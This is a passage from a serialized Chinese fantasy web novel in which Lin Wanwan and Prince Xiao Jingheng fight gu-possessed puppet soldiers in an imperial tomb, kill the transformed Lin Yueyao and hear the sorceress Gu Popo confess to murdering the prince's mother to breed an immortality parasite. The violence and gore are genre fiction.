这些看似平常的记录,实则是皇帝萧胤通过柳贵妃和高德胜这几条线,秘密收集炼制长生邪蛊所需“药引”!
其数量之多,时间跨度之长,令人发指!
这背后是多少无辜女子、婴孩的血泪和性命!
绢帛最后的几行字,更是让林绾绾瞳孔骤缩:
“主上密令,金昙圣血女婴,取其心头精血三滴,脐带血一盅。
紫河车需完全剥离,此乃炼制长生蛊主药。
关乎长生大计,不容有失!”
日期,赫然是十九年前,她出生的那一年!
皇帝为了炼制那恶心的邪蛊,为了得到那该死的长生,早早就将魔爪伸向了尚未出生的她以及待产的母亲!
那她的父亲和母亲又是靠什么才拼尽全力将她保了下来?
是发现了母亲跟自己身有寒毒无法入药,还是阿慕最终良心发现,不忍下手?
这些目前都不得而知。
但滔天的恨意却如同岩浆般在林绾绾胸中翻涌。
她身体微微颤抖,眼中满是泪水,手中的绢帛几乎要被捏碎。
心口的灼痛愈加剧烈,仿佛是感应到了她此刻焚天的怒火。
“萧胤…阿慕…不将你们碎尸万段,挫骨扬灰,我林绾绾,誓不为人!”
林绾绾说出的每一个字都淬着冰冷的杀意。
说话间,终是抵抗不了心口火焰印记的灼痛,捂住心口痛呼出声。
萧景珩紧紧握住林绾绾冰冷颤抖的手,将源源不断的寒气渡入她的体内,帮她压制翻腾的气血和心口的灼痛。
萧景珩的眼神同样是冰冷刺骨,如同万载玄冰下的熔岩,蕴含着毁天灭地的力量。
他低头伏在林绾绾耳边,一字一句,如同誓言:
“我陪着你!地狱黄泉,血海滔天,我们一起踏平!”
两人的目光在空中交汇。
无需更多言语。
滔天的恨意与不死不休的决心,已融为一体。
青蚨在一旁肃然而立,眼中也燃烧着熊熊怒火。
就在这时!
“阁主!圣女!”
一名血鸦阁暗卫如同鬼魅般出现在门口,声音带着一丝急促。
“据点外围发现不明身份之人窥探。此人轻功极高,行踪诡秘。双方已交过手,但对方毫不恋战,丢下此物便遁走了。”
暗卫将手中的东西捧到萧景珩面前。
那是一个小小的染血的布包。
用的是粗糙的麻布,但上面却用鲜血画着一个扭曲狰狞的蝎子图案。
布包打开,里面赫然是一小撮白色的、如同骨灰一般的粉末。
粉末中,夹杂着几片细微的、闪烁着诡异磷光的鳞片!
一股极其阴寒、带着浓郁死气和怨念的气息,从那粉末中散发出来。
林绾绾脸色骤变。
在《天医策》的熏陶下,她很快认出这粉末的来历,“这是即将要孵化的蛊王的鳞粉!”
这是蛊婆婆的挑衅。不!应该是说是她的宣战!
她不仅没有逃走,反而再次将目光锁定了他们。
她是在邀请他们一起见证长生蛊的成功!
而即将孵化的蛊王,极有可能就在皇陵地宫的最深处!
“快去通知赫连灼来此处,然后召集血鸦阁精锐待命!看来地宫之行,是迫在眉睫!”萧景珩火速进行了周密的安排。
三人不多时在据点山庄的密室内相聚,开始对皇陵地宫一行商量行进对策。
三人眼中都没有对死亡的畏惧,只有彻底诛杀蛊婆婆阿慕的决心,以及毁掉皇帝萧胤长生蛊的势在必行!
夜色,愈发深沉。
据点山庄内的灯火,在无边的黑暗中,如同暴风雨中飘摇的小舟。
而风暴的中心,那吞噬一切的皇陵地宫,正无声地开着巨口,等待着血祭!
第141章 蛊潮军阵
金昙同心佩合在地宫门上瞬间,甬道大门缓缓打开。
地宫甬道如同巨兽的咽喉,吞噬着最后一丝血色残阳的光晕。
浓稠如墨的黑暗粘稠得化不开。
唯有火把摇曳的光晕在湿冷的石壁上投下扭曲跳跃的影子。
空气里弥漫着令人作呕的混合气味——
浓烈的血腥、尸体高度腐败的恶臭…
还有从甬道深处传来的无数细小的口器摩擦啃噬的、令人头皮发麻炸裂的“沙沙”声。
这些东西交织在一起,撞击着每个人的耳膜和神经。
“盾阵!缓步推进!火把举高!注意脚下和头顶!”
萧景珩的声音在甬道中回荡,带着一种穿透黑暗的绝对冷静。
他走在队伍的前端,黑色的眼眸在火光下泛着幽冷的光泽。
手中的宝剑并未出鞘,但周身散发出的无形煞气,如同最锋利的矛尖,正破开前方令人窒息的压抑。
林绾绾紧随其后,素白的劲装上沾染了点点暗红。
冰魄金昙在发间流转着清冷的光晕,如同黑暗中的灯塔。
她一手紧握着数枚九转玲珑针,另一只手则被萧景珩紧紧攥紧。
男人掌心的寒气和力量,是她此刻无声的依靠。
赫连灼手持金刀,走在队伍侧翼,琥珀色的眼眸警惕地扫视着黑暗的每一个角落。
狼山卫和血鸦卫的精锐们,高举着火把和盾牌,组成严密的防御阵型,如同在未知的黑暗沼泽中艰难跋涉的孤舟。
脚下的地面黏腻湿滑,每走一步都发出“噗叽”的声音。
借着火光,可以清晰看到地面上覆盖着一层厚厚的,紫黑色的粘稠物。
那是无数蚀心蚁跟蛊虫被践踏碾碎后留下的残骸跟分泌液。
地上偶尔还能踩到一些坚硬的东西——
断裂的兵刃、破碎的甲片,甚至…森然的白骨。
甬道两侧的石壁上,布满了深浅不一的抓痕。
有些抓痕里还嵌着干涸发黑的血肉和断裂的指甲,无声地诉说着这里曾经发生的惨烈挣扎。
“沙沙…沙沙沙…”
那令人毛骨悚然的声音越来越近,越来越密集。
仿佛是黑暗本身在蠕动,在呼吸。
“停!”
萧景珩抬手握拳。
整个队伍瞬间停滞,所有人都屏住了呼吸,心脏狂跳。
前方,火把光芒的边缘,黑暗如同沸腾的墨汁般剧烈翻滚起来。
无数闪烁着幽绿、猩红光芒的复眼骤然亮起。
密密麻麻,如同地狱的星海。
是蚀心蚁!
比在地宫入口见到的那些更加庞大、狰狞。
它们口器开合,发出细密的“咔哒”声,如同饥饿的金属磨盘,汇聚成令人灵魂战栗的死亡浪潮,汹涌扑来。
“火油!火箭!”萧景珩厉喝!
“放!”血鸦卫们在命令声中将手中的火油罐奋力投掷出去。
“咻咻咻——!”
燃烧的火箭紧随其后。
“轰--!”
烈焰腾空而起。
灼热的气浪裹胁着刺鼻的味道扑面而来。
冲在最前方的蚀心蚁瞬间被点燃,发出“噼啪”爆响,肢体七零八落。
火焰暂时阻挡了虫潮的冲击。
然而,这一次,火焰的阻隔效果远不如入口处。
虫潮后方,沉重的脚步声如同闷雷般响起。
在跳跃的火光映照下,数十道扭曲、畸形的身影,踏着被火焰点燃的同类残骸,悍然冲破了火墙。
又是药人傀儡!
它们的身形比之前见到的更加高大魁梧。
它们一个个肌肉膨胀,呈现出恐怖的紫黑色。
皮肤表面覆盖着如同甲壳般的、闪烁着金属光泽的硬痂。
此刻,这些怪物充满了狂暴的杀戮意志,动作迅捷如风,力量更是大得惊人!
震耳欲聋的咆哮声中,一个双臂化成巨大骨刃的怪物,狠狠撞向最前方的盾阵上。
“咚!!”
沉闷如擂鼓的巨响。
手持巨盾的血鸦卫们手臂剧震,虎口瞬间崩裂,坚固的盾牌被撞得向内凹陷出一个巨大的弧度。
“刺!”
第二排的长矛手怒吼着,长矛从盾牌缝隙中狠狠刺出!
“铛!铛!铛!”
令人心惊的是,矛尖刺在那些药人覆盖硬痂的身体上,竟发出金铁交鸣般的脆响!
火星四溅!
大部分长矛被硬生生弹开。
只有少数刺中了关节连接处相对薄弱的地方,但也只是刺入寸许,便被肌肉死死夹住。
刀斧手见状,从侧翼冲出,沉重的战斧狠狠劈下。
然而,那些药人傀儡依旧没有倒下。
猩红的眼睛锁定偷袭者,异化的骨爪带着撕裂空气的厉啸,闪电般抓向刀斧手的头颅。
“小心!”
旁边一名狼山卫怒吼着扑过去,用盾牌格挡。
“咔嚓!”
骨爪狠狠抓在盾牌上,留下几道深深的凹痕。
巨大的力量直接将狼山卫连人带盾震飞出去。
他们狠狠撞在石壁上,口吐鲜血。
“快退!结圆阵防守!”
赫连灼金刀挥舞,刀气纵横,勉强逼退几个扑近的药人傀儡,厉声指挥。
这些怪物的防御力和力量,已经远超他们预估。
阵型瞬间被打乱。
药人傀儡如同虎入羊群,骨刃挥舞,利爪撕扯。
惨叫声、骨骼碎裂声、兵刃折断声不绝于耳。
血鸦卫和狼山卫的防线岌岌可危。
更可怕的是,后方的蚀心蚁潮并未停止。
他们绕过火焰区域,如同黑色的潮水从两侧石壁和地面缝隙中涌出,试图爬上战士们的身体。
“萧景珩!这样下去我们就都要交代在这儿了!”
赫连灼一刀劈开一个怪物的骨爪,冲到萧景珩身边,声音急促,“要赶快找到他们的弱点!”
萧景珩的目光如同鹰隼般扫过战场。
他一剑斩断一个药人横扫过来的骨刃,剑身与骨刃碰撞出刺目的火星,另一只手始终紧紧护着林绾绾。
他注意到,这些药人傀儡虽然力大无穷、防御惊人,但动作相对僵硬,尤其是在转向和应对侧面攻击时,有明显的迟滞。
它们的关节处虽有硬痂,但连接处…
“关节!攻击关节连接处!用重兵器凿击它们膝弯和肘部,限制他们的行动!”
萧景珩语速极快的低喝,将发现的弱点告诉众人。
第142章 再见故人
萧景珩告诉完众人怪物的弱点后,就将林绾绾推向身后相对安全的角落。
“绾绾,找机会!看能否用针法干扰它们体内的蛊虫!”
“好!”
林绾绾心领神会,迅速退到甬道一处凹陷的角落。
她从刚才的战斗中已然看明白,普通的针法很难穿透怪物身上的硬痂,要想控制住蛊虫,必须找到它们最薄弱的位置。
她指尖扣紧了九转玲珑针,针尖隐隐流转着玉泽,体内冰火同源之力悄然运转。
林绾绾准备激发《天医策》中记载的,专门针对蛊虫的‘镇魂定魄针’!
“狼山卫!随我冲!砸腿!”
赫连灼怒吼一声,如同金色的雄狮,不退反进。
他不再追求斩杀,而是将目标锁定在药人傀儡的下肢关节。
沉重的金刀在他手中如同重锤,带着开山裂石的气势,狠狠砸向一个药人傀儡的膝弯侧面。
“咚!”
沉闷的撞击声响起!
那药人傀儡庞大的身躯猛地一晃,左腿膝弯处硬痂碎裂,关节发出不堪重负的呻吟。
“砸!”
旁边的狼山卫立刻抓住机会,重斧、铁锤狠狠砸在同一个位置!
“咔嚓!”
清晰的骨裂声响起。
药人傀儡的左腿以一个诡异的角度扭曲,庞大的身躯轰然半跪在地。
虽然依旧挥舞骨刃,但移动能力大减。
“有效!”
血鸦卫和狼山卫精神一振,立刻效仿。
不再执着于斩杀要害,而是利用人数优势和重兵器,集中攻击药人傀儡的膝弯、肘关节等支撑点。
药人傀儡在行动受限后,威胁大大降低,战场局势稍缓。
林绾绾在旁举着九转玲珑针蓄势待发!
就在这时!
一阵更加尖锐,诡异的摩擦声,从甬道最深处的黑暗中传来。
所有正在战斗的药人傀儡,猩红的眼窝光芒瞬间一滞,瞬间停止了狂暴的攻击。
如同受到某种指令般,开始向甬道两侧退开。
一股浓烈的死亡之气和怨念的威压,从甬道尽头汹涌而来,压得所有人都喘不过气。
连那些蚀心蚁都仿佛感知到了天敌般,不安地躁动起来。
“小心!好像有更厉害的东西出来了。”
萧景珩瞳孔微缩,狭长的剑身发出低沉的嗡鸣。
赫连灼也握紧了金刀,眼神凝重到了极点。
沉重的脚步声,一下又一下,如同踩在众人的心脏上。
一道身影,缓缓从最深沉的黑暗中走出,不多时便踏入火把光芒的笼罩范围。
当看清那道身影时,所有人的呼吸都停滞了!
一股寒意从脚底板直窜上天灵盖。
那是一个没有双臂的“人”。
不,准确地说,它的双臂位置,被装上了两条巨大的骨刃。
骨刃长六尺左右,表面流淌着暗红色的如同血管般的纹路,散发出浓烈的血腥和邪异能力。
它的头颅低垂着,凌乱枯槁的长发遮住了大半张脸,只能看到干瘪发黑的皮肤和裂开的下颌。
空洞的眼窝里,没有猩红的光芒,只有一片死寂的漆黑,仿佛能吞噬一切的黑洞。
“是林…林月瑶?!”
几个在北漠狼山谷经历过血吸瘟蛊的狼山卫失声惊叫,声音充满了极致的恐惧和难以置信。
林月瑶!
她不是死了吗?
没想到她竟然被蛊婆婆改造成了这么恐怖的怪物!
“嗬…嗬…”
几声怪响从林月瑶干瘪的喉咙里发出。
“杀…杀…林…绾…绾…”
一个极其扭曲,充满了怨毒和恨意的嘶哑声音,断断续续从林月瑶黑洞洞的口腔中挤出。
那声音,依稀还能辨认出几分林月瑶生前的腔调。
她空洞的“目光”,死死锁定了角落里的林绾绾。
“吼--!!”
伴随着这声充满了无尽怨毒的嘶吼,林月瑶动了。
没有预兆,速度快到极致,待众人反应过来原地只留下一道残影。
她庞大的身躯,如同鬼魅般瞬间出现在一个正在攻击其他药人傀儡的狼山卫面前。
右臂的巨大骨刃带着撕裂空气的厉啸,如同镰刀横扫而过。
“噗嗤--”
狼山卫手中的弯刀,连同他整个人,被那恐怖的骨刃瞬间斩断。
鲜血冲天而起。
残肢断臂混合着破碎的弯刀碎片四处飞溅。
“阿古木!”
赫连灼目眦欲裂!那是他最忠诚的狼山卫勇士之一!
“小心,她的速度太快!”
萧景珩厉声示警,同时身影一闪,手中宝剑化作一道寒芒,直刺向林月瑶的脊椎骨。
“铛!”
火星四溅。
宝剑精准地刺中了林月瑶背后突出的骨头。
然而,那覆盖着硬痂的后背坚硬得超乎想象。
萧景珩只觉得一股巨大的反震之力传来,虎口阵阵发麻。
林月瑶猛地转身。
左臂的白骨刃带着更加疯狂的力量,反手劈向萧景珩的脖颈。
速度之快,角度之刁钻,完全超越了之前那些药人傀儡。
萧景珩的剑还来不及收回,只能猛地侧身,同时右腿关注玄冥寒气,狠狠踢向林月瑶的左臂肘关节。
“砰!”
腿骨与骨刃相撞,发出沉闷巨响。
萧景珩借力向后急退,险之又险的避开那致命一斩。
但左肩的衣袍被凌厉的刃风还是划开了一道口子,冰冷的寒意透骨而入。
林月瑶一击不中,喉咙里发出更加愤怒的嘶吼。
她不再理会萧景珩,目光再次锁定了林绾绾!
巨大的骨刃拖在地上,划出刺耳的摩擦声和火星,一步步向角落逼近。
她身上散发出的浓烈死气,如同无形的枷锁,让周围的空气都变得粘稠沉重。
“保护圣女!”
青蚨厉喝一声,率领数名血鸦卫悍不畏死地扑了上去,刀剑齐出!
“铛!铛!噗嗤!”
金铁交鸣声和肉体被撕裂的声音几乎同时响起。
血鸦卫的刀剑砍在林月瑶的身体和骨刃上只留下浅浅白痕。
而林月瑶随手一挥,就带起一阵血雨。
一名血鸦卫被拦腰斩断。
另一名攻击她腿弯的血鸦卫,被她抬脚狠狠踏下,胸骨瞬间塌陷。
青蚨凭借灵活的身法躲过致命一击,但肩头也被刃气划开一道深可见骨的血口。
“绾绾!”
赫连灼怒吼着,金刀爆发出刺目的光芒。
凌厉无比的刀气撕裂空气,斩向林月瑶的头颅。
第143章 月瑶毙命
林月瑶微微偏头,用后颈硬接下赫连灼含怒一击。
“铛--!”
金铁交鸣的巨响震得人耳膜生疼。
林月瑶庞大的身躯只是晃了晃,后颈硬痂上留下一道深深的刀痕,却并未造成太大的伤害。
她甚至没有回头,白骨刃依旧坚定不移地斩向被逼到角落的林绾绾。
“死…死!”
扭曲的嘶吼声近在咫尺。
白骨刃带着死亡的腥风,当头劈下。
速度快到林绾绾根本无法完全闪躲。
千钧一发!
一道比月光更冷,比闪电更快的寒芒,瞬移般出现在林绾绾身前。
是萧景珩!
他剑尖精准无比地点在了林月瑶传递力量最薄弱的肘关节内侧连接处。
“给我——破!”
萧景珩怒吼出声。
全身的玄冥寒气毫无保留地灌注于剑尖一点。
“咔嚓!”
一声如同琉璃破碎般的脆响。
林月瑶左臂那巨大狰狞的白骨臂刃,竟从肘关节连接处被硬生生点碎。
碎裂的骨片如同暴雨般迸射,重重砸落在地。
林月瑶发出痛苦和愤怒的嘶吼,断臂处粘稠的、散发着恶臭的紫黑色液体不断喷溅。
她庞大的身躯踉跄后退。
机会来了!
“赫连灼!右臂!关节!”
萧景珩一击的手,没有丝毫停顿,厉声喝道。
“明白。”
赫连灼早已蓄势待发。
在林月瑶踉跄后退,右臂白骨刃下意识护在身前的瞬间,他如同金色的旋风般欺身而上。
金刀不再是劈砍,而是带着全身的力量和速度,狠狠砸向林月瑶右臂白骨刃的肘关节。
“咚!咔嚓!”
同样的碎裂声再次响起。
林月瑶右臂的白骨刃也应声而断。沉重的骨刃砸落在地。
失去了两条强大的白骨臂刃,林月瑶如同被拔掉了毒牙的巨蟒,威胁骤降。
她口中满是不甘的咆哮,试图用畸变的肢体和牙齿嘶哑。
“就是现在!绾绾!”
萧景珩和赫连灼异口同声!
林绾绾眼中寒光爆射!
她等的就是这一刻!
林月瑶体内蛊虫因肢体断裂而躁动,身体出现紊乱。
“九转定魂!镇!”林绾绾清叱一声!
指尖早已扣住的九转玲珑针化作数道玉色流光,快如闪电!
第一针出手,直刺向林月瑶头顶百会穴,针入三分,强行冲击她的灵台,扰乱蛊虫对中枢的控制。
接着两针,分刺颈后两侧风池穴,针入五分,阻断蛊虫能量传输。
最后一针,刺入其后心至阳穴!针入一寸,直攻心脉附近蛊虫核心。
以针为引,将之前调配好的驱蛊药粉混合冰火之力一起打入林月瑶体内,刺激、驱散盘踞在林月瑶神经和血肉中的蛊虫。
“呃啊——!!”
林月瑶发出了更加凄厉的惨叫。
她的身躯开始剧烈痉挛起来。
覆盖全身的紫黑色硬痂下,仿佛有无数活物在疯狂蠕动、挣扎!
她的动作变得愈发僵硬而混乱。
“婆婆…救…救我…”
林月瑶黑洞洞的口腔中,挤出断断续续、意义不明的吼叫,语气中充满了痛苦和一种诡异的哀求。
就在她剧烈挣扎中,右臂断口处,覆盖着粘稠紫黑色液体的皮肤下,一个手掌大小的蝎子从里面爬了出来。
林绾绾眼疾手快,飞速用九转玲珑针将蝎子钉在地上,紧接着剑光闪过,萧景珩将蝎子一劈为二。
林月瑶似是彻底失去了依托,身上的硬痂开始大片脱落。
萧景珩没有丝毫犹豫,身影如同鬼魅般再次突进,剑光化作一道撕裂黑暗的寒芒,带着斩断一切的决绝,穿透了林月瑶没有保护的身体。
林月瑶发出最后一声充满极致痛苦的咆哮。
那咆哮声中似乎还夹杂着一丝解脱。
她的身躯如同被抽走了所有支撑,轰然跪倒在地。
空洞眼窝里的漆黑,如同燃尽的灰烬,彻底失去了最后的光泽。
她的身躯如腐朽的枯木,带着不甘和滔天的怨恨,重重砸在布满黏液和尸骸的地面上,溅起一片污秽。
林月瑶,彻底失去了生机!
甬道内,死一般的寂静。
只有众人粗重的喘息声和火把燃烧的噼啪声在甬道内回荡。
“这蝎子是施蛊人种在药人傀儡上的,蝎子一死,那老妖妇必遭反噬!”
林绾绾看着地上那已经四分五裂的蛊虫,眼眸中燃烧着熊熊烈火。
随后,解开身上的外搭,轻轻盖在林月瑶身上,“你我好歹姐妹一场,你就在此地好好安歇吧。”
萧景珩收剑回鞘,来到林绾绾身边,扶住她有些虚脱的身体。
刚才施展“镇魂定魄针”用尽了林绾绾八成心力,对她本就一直透支的身体伤害极大。
“没事吧?”
萧景珩的声音带着紧绷,说话间向林绾绾体内渡入一股精纯平和的寒气,帮她梳理紊乱的气息。
“无妨,只是消耗大了些。”
林绾绾靠着他,轻轻摇头,目光盯着地上林月瑶的尸体,眼中是冰冷的杀机。
“先清理战场,救治伤员!顺便看看这怪物身上有无线索。”赫连灼火速下令。
狼山卫和血鸦卫立刻行动起来。
青蚨忍着肩头的剧痛,上前仔细检查林月瑶的残尸。
片刻后,她从林月瑶破碎的衣襟内层,摸出了一样东西。
那是一支女子用的、造型别致的金簪。
簪身纤细,簪头镶嵌着一颗小小的、成色极佳的珍珠。
虽然沾染了污秽,但依旧能看出精巧和贵重。
“这是…大胤皇宫之物?”赫连灼皱眉。
林绾绾的目光在接触到簪身后,猛地一凝。
她挣脱萧景珩的搀扶,快步上前,从青蚨手中接过那支金簪。
指尖拂去簪身上的污秽,露出了簪尾一个极其细微的、几乎难以察觉的篆刻印记——
一个小小的“宸”字!
“宸妃…”
林绾绾的声音带着难以置信,“这是…你母妃宸妃的遗物。”
赫连灼和萧景珩的脸色同时剧变。
宸妃的东西怎么会出现在林月瑶身上?
难道除了金昙同心佩,宸妃的其他东西也是当年阴谋的一部分?
是炼制长生蛊跟药人傀儡的另一种媒介?
亦或是…为了某种邪恶的目的,被刻意保留并利用?
几个可怕的念头在三人心头升起,甬道内的气氛比之前面对林月瑶时更加沉重压抑。
第144章 白骨祭坛
“继续前进!答案,肯定就在地宫最深处。”
萧景珩的声音打破了死寂,冰冷得没有一丝温度,却带着一种斩断一切迷雾的决绝。
他的目光越过林月瑶的尸体,投向甬道尽头。
林绾绾握紧了那支冰冷的金簪,将它小心收好。
她看向萧景珩,两人目光在空中交汇。
无需多余言语,都看到了对方眼中焚尽一切的恨意。
无论前方是什么,他们都必将踏平这地狱,讨回所有的血债。
队伍再次整肃。
他们带着更加沉重的心情和决死的意志,踏着满地的污秽和残骸,向着地宫更深处,沉默而坚定地推进。
走了不多时,甬道开始向下倾斜,坡度陡峭。
脚下变得更加湿滑难行。
两侧的石壁不再是粗糙的岩石,而是变成了某种光滑、冰冷,带着金属质感的黑色材质。
上面雕刻着繁复诡异的符文。
符文深处隐隐流淌着暗红色的光芒,如同凝固的血液。
原本还一直回响在甬道空间的“沙沙”声消失了,取而代之的是一种低沉的、如同心脏波动般的“咚…咚…咚…”声在四周响起。
空气越来越潮湿,处处都透着一股浓重的土腥味和水汽。
“看前面!”一个眼尖的血鸦卫低呼。
甬道的尽头,豁然开朗!
一个巨大的难以想象的地下空间出现在众人眼前。
空间呈不规则的圆形,穹顶极高,隐没在黑暗之中,看不清全貌。
空间中央,是一个巨大的,深不见底的黑色水潭。
潭水漆黑如墨,水面上没有任何涟漪,死寂得可怕。
那如同心脏搏动般的“咚咚”声,正是从这深潭之下传来。
水潭边缘,并非平地,而是由无数巨大森然的白骨堆砌而成的环形平台。
白骨平台边缘,矗立着九根同样由白骨雕琢而成的巨大立柱,每一根都高达数丈,顶端燃烧着幽绿色的磷火,将整个空间映照得一片惨绿,鬼气森森。
而在白骨平台的正中央,赫然是一座祭坛。
祭坛中央由某种仿佛浸透了鲜血的巨石垒成。
顶端并非平整的,而是整个凹陷下去,形成一个如同莲花般的石盆。
祭坛下方,白骨平台之上,并非空无一人!
数百具身影,如同雕塑般静立在惨绿的磷火光芒中。
它们身着各式各样的服饰——
有破烂的巡防营铠甲,有禁军的制式皮甲,有宫中内侍的灰袍,甚至…还有穿着粗布麻衣的普通百姓!
他们全都低垂着头,皮肤呈现出死人才有的青灰色。
此刻如同最忠诚的卫兵一般,拱卫着中央那邪恶的祭坛。
整个地宫的核心,就如同羊皮卷上出现的祭坛,像是一幅地狱的画卷,在众人面前徐徐展开。
祭坛核心位置,一个身着黑袍,少了一只胳膊的身影,正背对着众人,负手而立。
她凝视着深潭中央,对周遭的一切毫不在意。
“阿!慕!”林绾绾一字一顿,声音如同淬了毒一般,每一个字都带着刻骨的恨意。
心口封禁的玉佩在疯狂震动,灼痛如烈火燎原。
她体内的双生火焰印记,与祭坛仿佛产生了某种致命的共鸣。
萧景珩握紧了手中的宝剑,眼眸冰冷。
为了母妃,也为了自己,他都要将眼前的人挫骨扬灰!
赫连灼的琥珀色眼眸中也燃烧着熊熊战火。
北漠的血仇,圣公主的冤屈,今日他势必要一并清算!
蛊婆婆阿慕缓缓转过身。
她的面容在磷火映照下,显得异常苍白。
眼窝深陷,瞳孔深处却闪烁着两点妖异的红光。
她的目光越过白骨平台上密密麻麻的药人傀儡军团,如同实质般落在林绾绾身上,带着一种令人作呕的贪婪和狂热,如同在欣赏一件稀世珍宝。
“赫连云渊,你真应该睁开眼睛看看!你的女儿,带着我要的东西,来助我成就最后的登神之阶了!只有我!才是金昙王庭中能力最强的人!”
蛊婆婆的目光锁定在林绾绾心口位置,似乎下一刻就要扑上去将她生吞活剥一般。
“登神之阶?”
林绾绾的声音冰冷刺骨,“阿慕!你以万民血肉为食,也配妄言登神?”
说话间,心口的金昙同心佩疯狂悸动,灼痛感愈加强烈。
她强忍着,指尖的九转玲珑针蓄势待发。
萧景珩上前一步,高大的身影如同最坚实的堡垒,将林绾绾完全挡在身后。
宝剑虽未出鞘,但无形的杀意已然弥漫。
“我今日一定要把你挫骨扬灰,以解我心头之恨!”
他说的每一个字都似淬着万载寒冰。
“挫骨扬灰?哈哈哈!”
蛊婆婆仿佛听到了天大的笑话,嘶哑的笑声在空旷死寂的地宫中回荡,震得白骨平台上的磷火都摇曳不定。
她指着深潭中隐隐透出的红光,眼中是病态的狂热。
“看到了吗?那是我的长生蛊!现在只差最后一步!只要林绾绾那个小贱人身上那纯粹的圣血,还有…”
说话间,她的目光随之转向萧景珩,那眼神复杂到了极点,有贪婪,有厌恶,更有一种令人作呕的觊觎!
“还有你体内,源自宸妃的,至阴至纯的寒毒本源!那是中和圣血阳炎、孕育圣蛊最好的温床!若非当年陛下一念之仁,岂容你今日在此放肆?”
蛊婆婆的语气陡然变得怨毒而疯狂,如同被揭开了最深的疮疤。
“那我的生母,究竟是怎么死的?”
萧景珩的声音没有任何波澜,唯有握剑的手,指节因有力而泛出青白。
这是他心中最深的刺!也是他迫切想要知道的真相。
“嗬,那个蠢妇?”
蛊婆婆眼中红光闪烁,带着毫不掩饰的轻蔑。
“太后以为是她用金昙花蚀心蚁杀了宸妃,自那以后金昙花就成了她的噩梦。她以为是她在背后一直默默辅助陛下,助陛下成就大业…”
“她错了!太后不过是我跟陛下手中一枚自以为是的棋子!”
蛊婆婆的声音陡然拔高,充满了掌控一切的得意与疯狂。
“告诉你们也无妨,让你们一个个都死得明白!”
第145章 深宫真相
蛊婆婆语气满是自负与嚣张。
“当年,是我撺掇赫连云珠来大胤游玩。再安排了才子佳人的戏码。”
“没想到赫连云珠真是个没脑子的,不仅一头栽了进来,还舍弃父兄跟北漠,直接在大胤换了身份,然后进了宫,成了陛下的宸妃娘娘。”
“她自以为是的爱情,其实还要多谢我哪!”
蛊婆婆的语气中满是嘲讽。
“后来的下毒也是我!是我将混有蛊卵的安神汤喂给了对陛下痴心一片的宸妃。”
“是我!在她被蛊虫噬心,痛苦挣扎时,亲手剖开了她的肚子,取出了她腹中胎儿。”
“你们应该还不知道吧,其实宸妃当年怀的可是双生子!哈哈哈…”
蛊婆婆尖锐刺耳的笑声响彻整个地宫。
“你说什么?!”
萧景珩闻言,眼中满是不可置信,恨不得立刻飞身上前将蛊婆婆撕成碎片。
蛊婆婆看着萧景珩逐渐被激怒,嘴角扯出一个得逞的笑容。
“其实你的哥哥才是真正继承了寒毒本源,而你只不过是个残次品。”
“我用金昙圣术,以宸妃的紫河车和半枚玉佩为引,将他炼制成了‘圣血骨胎’的胚胎。”
“而这个胚胎,就是我长生圣蛊的雏形!”
“至于你…”蛊婆婆的眼神变得冰冷怨毒。
“若非钦天监那老东西说什么‘双生相辅,留一可制’,留下一个可以促成圣蛊成长,还可以以备不时之需…你以为你能活到现在?”
“你和你那个愚蠢的母亲一样,不过是陛下登神路上的垫脚石和药引罢了。”
蛊婆婆的话,如同九天惊雷在萧景珩灵魂深处炸开!
所有的猜测,所有的隐忍,在这一刻被这血淋淋的、灭绝人性的真相彻底撕碎。
是他的生父,默许毒杀了他的生母!
还亲手将自己的孪生兄弟练成了长生蛊物。
而他,萧景珩!
能活到现在,仅仅是因为体内的寒毒或许有朝一日也可成为另一个“药引”!
滔天的恨意!
焚尽天地的怒火!
混合着深入骨髓的冰冷和绝望!
瞬间将萧景珩淹没。
他身体剧烈地颤抖起来。
不是因为恐惧,而是那几乎要冲破理智堤坝的、毁天灭地的恨意!
玄冥寒气不受控制地疯狂外溢。
以萧景珩为中心,他脚下的土地凝结出一层白霜,并且迅速蔓延开来。
蛊婆婆满意的看着萧景珩的变化,嘴角的笑意更深。
“萧景珩!”
林绾绾感受到他灵魂深处那撕裂般的剧痛,心口如同被利刃狠狠剜过。
她不顾一切地扑上去,从背后紧紧抱住萧景珩剧烈颤抖的身体。
温热的泪水瞬间涌出,“冷静!她是在故意激怒你!不要上当!”
林绾绾的拥抱和呼吸,如同黑暗中唯一的光,短暂地拉回了萧景珩濒临崩溃的神智。
他猛地反手,如同溺水之人抓住浮木一般,死死扣住林绾绾环在他腰间的双臂。
力道之大,几乎要捏碎林绾绾的骨头。
萧景珩喉咙里发出野兽受伤般的低吼,双眼赤红如血,死死盯着祭坛上的身影。
嘴里说出的每一个字都像是从牙缝里挤出来一般:
“我!要!你!碎!尸!万!段!”
“愤怒?痛苦?这就对了!”
蛊婆婆看着萧景珩失控的样子,眼中妖异的红光更盛,脸上更是露出一种扭曲的快意。
“你的痛苦,你的怨恨,正是这圣蛊最好的养料!有谁能想到,大胤尊贵的太子殿下,不过是个连自己是什么东西都不知道的可怜虫罢了!”
“今天,我就让你们兄弟重逢!用你们的血和魂,助我完成这最后的登神之礼!”
说罢,她的口中就发出不成调的诡异音节。
那音节带着奇特的魔力,瞬间穿透了整个地宫。
“咚咚咚——!”
深潭之下,那如同心脏波动的沉闷声响骤然加剧,频率也越来越快。
整个白骨平台都随之微微震颤起来。
一个黑影慢慢从潭水中冒了出来。
随着咚咚的心跳声,它剧烈地膨胀、收缩。
一股更加恐怖、邪恶的气息如同实质的黑色潮水汹涌而出。
覆盖在黑影上的粘稠黑膜被慢慢撑开,撕裂,露出了里面的真容!
那是一个难以名状的、巨大无比的肉瘤。
肉瘤表面布满了紫黑色如同蛛网一般的粗壮血管。
血管如同活物般搏动着,向内里输送着粘稠的暗红色液体。
肉瘤的顶端并不光滑,而是裂开了一个不规则的豁口。
豁口深处,并非血肉,而是翻涌散发着暗金色光芒的液体。
液体的中心,隐约可见一个蜷缩着的,巨大婴儿般的轮廓。
细瞧下,那“婴儿”周身覆盖着细密的、如同鳞片般的黑色硬痂。
它紧闭着双眼,口鼻不断吞吐着暗金色的雾气。
每一次吞吐,都伴随着如同心脏搏动般的“咚咚”声。
这就是长生圣蛊的本体!
一个用无数至亲骨血、无辜生灵的怨念和生命强行催化出来的、亵渎生命的邪物!
随着圣蛊本体的暴露,一股强大到难以抗拒的吸扯之力猛地从肉瘤豁口中传来。
目标直指萧景珩和林绾绾!
尤其是林绾绾心口的金昙同心佩,如同收到了本源的召唤,爆发出前所未有的灼热光芒和剧烈震动!
“啊!”
